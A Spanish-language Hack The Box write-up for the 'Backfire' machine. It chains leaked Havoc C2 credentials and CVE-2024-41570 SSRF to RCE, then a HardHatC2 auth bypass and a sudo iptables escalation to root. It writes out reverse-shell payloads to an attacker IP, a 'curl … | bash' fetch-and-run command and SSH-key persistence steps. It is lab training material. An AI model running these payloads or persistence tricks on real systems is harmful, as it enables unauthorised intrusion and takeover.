# Backfire WriteUp

---

### 🔎 **Fase de reconocimiento**

Se hace un escaneo de `nmap` para reconocer el entorno con los parametros:

* `-sV` Para identificar las versiones de los servicios expuestos.
    
* `-Pn` Para omitir el ping a los hosts (asumiendo que están activos).
    
* `-sC` Para utilizar los scripts por defecto de `nmap`.
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756012432347/e4a92780-12d7-42a6-a15a-dc3a13accb3b.png align="center")

---

### 🌐 **Análisis del puerto 8000**

En el puerto 8000 nos encontramos con 2 archivos:

* `disable_tls.patch`
    
* `havoc.yaotl`
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756012458978/13f65ae6-dea5-42c3-87ff-ea2d3bd5bcec.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756012474201/4ab99d30-6b7b-4f77-b2f7-32fa78ea4b57.png align="center")

Al inspeccionar el archivo `havoc.yaotl`, identificamos credenciales en texto claro:

* `ilya:CobaltStr1keSuckz!`
    
* `sergej:1w4nt2sw1tch2h4rd4tc2` Esto indica que el servidor ejecuta **Havoc C2**, una plataforma de post-explotación utilizada en entornos de Red Teaming.
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756012639990/979b0846-b50b-4756-afe0-03ec425992a8.png align="center")

---

### 🚨 **Explotación de Havoc C2 – SSRF a RCE**

Investigando, encontramos un repositorio que explota vulnerabilidades conocidas en Havoc C2:

[sebr-dev/Havoc-C2-SSRF-to-RCE: This is a modified version of the CVE-2024-41570 SSRF PoC from @chebuya chained with the auth RCE exploit from @hyperreality. This exploit executes code remotely to a target due to multiple vulnerabilities in Havoc C2 Framework. (](https://github.com/sebr-dev/Havoc-C2-SSRF-to-RCE)[https://github.com/HavocFramework/Havoc](https://github.com/HavocFramework/Havoc)[)](https://github.com/sebr-dev/Havoc-C2-SSRF-to-RCE)

Este exploit combina:

* **SSRF (Server-Side Request Forgery) – CVE-2024-41570**.
    
* **Bypass de autenticación y ejecución remota (RCE)**.
    

Creamos un payload para obtener una **reverse shell** y creamos un servidor http con python: `echo "bash -c 'bash -i >& /dev/tcp/10.10.14.67/4444 0>&1'" >` [`shell.sh`](http://shell.sh) `python3 -m http.server 80`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756012740082/1c244896-47c8-49fd-9e16-b76979da7776.png align="center")

Usamos las credenciales de `ilya` para ejecutar el exploit y forzar la ejecución remota:

`curl` [`http://10.10.14.67/shell.sh`](http://10.10.14.67/shell.sh) `| bash`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756012754019/1a2bc7e9-9827-4f1d-abe9-9f713db81552.png align="center")

✔️ **Conexión recibida correctamente:**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756012777478/c9c5d7d8-85de-4c09-b0ed-6a507a7ab932.png align="center")

---

### 🔐 **Persistencia SSH**

Para mantener acceso, generamos un par de claves: `ssh-keygen -t ed25519 -f ~/.ssh/backfire` `cat ~/.ssh/`[`backfire.pub`](http://backfire.pub)

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756013102718/d022c837-627a-4e31-8ac1-b23f0cec89d0.png align="center")

Luego la insertamos en la máquina víctima: `echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPJMvnl8380kaakxT3UL3asgc2ngmheBv94TmH/XpbTm kali@kali' >> ~/.ssh/authorized_keys`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756013136274/b08bc7c2-0966-47af-bc92-962dcdb4ac36.png align="center")

Ya podemos conectarnos vía SSH sin contraseña:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756013200781/b2b5410c-98fc-44a3-83b9-e27a8d28f0de.png align="center")

---

### 📄 **HardHatC2 expuesto internamente**

Al leer `hardhat.txt`, descubrimos que Sergej instaló **HardHatC2** para pruebas:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756013224739/d794df46-b92c-4e6c-9cb1-68a69a48d386.png align="center")

Comprobamos servicios internos expuestos: `ss -tuln`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756013240419/dc9e0aa1-d32e-482f-b0fd-db4f36365c28.png align="center")

Redirigimos los puertos 7096 y 5000 usando port forwarding: `ssh -i ~/.ssh/backfire ilya@backfire.htb -L 7096:127.0.0.1:7096 -L 5000:127.0.0.1:5000`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756013254275/ef1cb0d4-7a74-4f3a-82c1-4a1c21645600.png align="center")

Accedemos al panel en [`https://localhost:7096`](https://localhost:7096):

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756013268452/a5b1ae07-eac5-4151-8501-937812a82001.png align="center")

---

### 💥 **Explotación de HardHatC2 – Auth Bypass + RCE**

Encontramos este excelente artículo con vulnerabilidades 0day en HardHatC2: [HardHatC2 0-Days (RCE & AuthN Bypass) | by Pichaya Morimoto | สยามถนัดแฮก](https://blog.sth.sh/hardhatc2-0-days-rce-authn-bypass-96ba683d9dd7) Vulnerabilidades destacadas:

* Arbitrary File Write
    
* Authentication Bypass
    
* Remote Code Execution (RCE)
    

Probamos el **bypass de autenticación**, y confirmamos que se creó el usuario `sth_pentest`:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756013282154/d2cace4f-ca8a-4cd7-910c-cd1d790d9ece.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756013294728/0ef533b9-0a4b-4ab0-9431-aa9ecbf304d3.png align="center")

Accedemos al panel con: `sth_pentest:sth_pentest`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756013304703/7f3e4588-230f-4b73-a194-d57155395360.png align="center")

Desde la consola `/ImplantInteract`, ejecutamos: `whoami`

✔️ Somos el usuario **sergej**:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756013314278/8ad20077-81e8-42ca-ba7f-50999912f2bf.png align="center")

---

### 🧪 **Escalada de privilegios**

Colocamos un nuevo listener en otro puerto: `nc -nvlp 5555`

Ejecutamos el siguiente payload desde la consola interactiva: `bash -c 'bash -i >& /dev/tcp/10.10.14.67/5555 0>&1'`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756013322571/be412926-40b0-4193-8d0f-0d78083f7ce9.png align="center")

✔️ Obtenemos shell como `sergej`:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756013332084/2cd28675-7e19-46be-92d1-9674b9de4ac4.png align="center")

Al verificar `sudo -l`, vemos que `sergej` puede ejecutar `/usr/sbin/iptables` como root.

`sergej@backfire:~$ sudo -l` `Matching Defaults entries for sergej on backfire:` `env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty`

`User sergej may run the following commands on backfire:` `(root) NOPASSWD: /usr/sbin/iptables` `(root) NOPASSWD: /usr/sbin/iptables-save`

Aprovechamos esto para escribir nuestra clave pública en `authorized_keys` como root:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756013342214/5d830f46-7f8d-497d-95ff-3c1193c8934e.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756013351042/c7f403a2-1650-498c-9fe7-0fe4a3b20e83.png align="center")

Nos conectamos vía SSH como **root**: `ssh -i ~/.ssh/myrootkey root@backfire.htb`

📦 Leemos la flag:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756013359724/1b463d12-f1a4-446e-a7a9-4f32202dfa20.png align="center")

---

## ✅ **Resumen**

* **Acceso inicial:** Havoc C2 – credenciales filtradas + CVE-2024-41570 (SSRF → RCE)
    
* **Persistencia:** SSH key con usuario `ilya`
    
* **Descubrimiento lateral:** HardHatC2 interno
    
* **Explotación secundaria:** Auth bypass + RCE
    
* **Escalada de privilegios:** Abuso de `iptables` con sudo + modificación de `authorized_keys`
    
* **Root access:** vía SSH con clave insertada
    

![Nano](https://www.hackthebox.eu/badge/image/54373 align="left")
